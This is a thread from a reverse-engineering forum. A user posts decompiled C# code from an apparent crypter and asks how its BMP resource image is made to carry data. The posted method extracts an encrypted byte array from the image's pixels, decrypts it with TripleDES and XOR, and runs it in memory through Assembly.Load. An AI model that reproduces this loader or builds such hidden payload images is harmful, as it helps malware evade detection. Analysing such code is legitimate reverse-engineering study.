Jump to content
View in the app

A better way to browse. Learn more.

Tuts 4 You

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.

[Q?][.NET] ByteArray in .bmp image

Featured Replies

Posted

/del pls

Full here bellow

Sorry tuts is lagging

Edited by Meteor2142

can you send original assembly? i would like to take a look


  • Author

Hello guys! 


 


Sorry for making more and more question posts, but its the only way ppl answer on it!


Some of you kmow that i trying to know how exaclty crypto-program works..


 


So heres one of main encryption method: The bmp image in resources:


d69be5abe1a1bb7208c8f6a46a327e0b.png


 


The LoadBitmap + Decrypt Method



public static void Decrypting(string[] args, string resname, string imgloc, byte[] k)
{
try
{
ResourceManager manager = new ResourceManager("Program.Resources", Assembly.GetEntryAssembly());
Bitmap bitmap = (Bitmap) manager.GetObject(imgloc);
BitmapData data = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadOnly, bitmap.PixelFormat);
byte[] destination = new byte[(bitmap.Width * bitmap.Height) * 4];
PixelFormat pixelFormat = bitmap.PixelFormat;
Marshal.Copy(data.Scan0, destination, 0, destination.Length);
byte[] destinationArray = new byte[BitConverter.ToInt32(destination, 0)];
Array.Copy(destination, 4, destinationArray, 0, destinationArray.Length);
TripleDESCryptoServiceProvider provider = new TripleDESCryptoServiceProvider();
provider.Key = k;
destinationArray = provider.CreateDecryptor().TransformFinalBlock(destinationArray, 0, destinationArray.Length);
for (int i = 0; i < destinationArray.Length; i++)
{
for (int j = 0; j < k.Length; j++)
{
destinationArray[i] = (byte) (destinationArray[i] ^ k[j]);
}
}
Array.Reverse(destinationArray);
Assembly.Load(destinationArray).EntryPoint.Invoke(null, new object[] { args });
}
catch (Exception exception)
{
MessageBox.Show(exception.Message);
}

QUESTION:


How it works (not how it DECRYPTS, how this bmp maked, cause how it decrypts and executes i know)


I know thats a some method called steganography, but its used to overwrite strings (only?) on real images.


And what about this image? Its just randomly maked using basic C# methods (like Image.SetPixel(... rndm1, rndm2, rndm3...) and then using steganography write byttes on it?


 


If someone know, please answer!


 


Thanks a lot for ppls who help, and whole forum!


Original image in attachments


Edited by Meteor2142

Create an account or sign in to comment

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.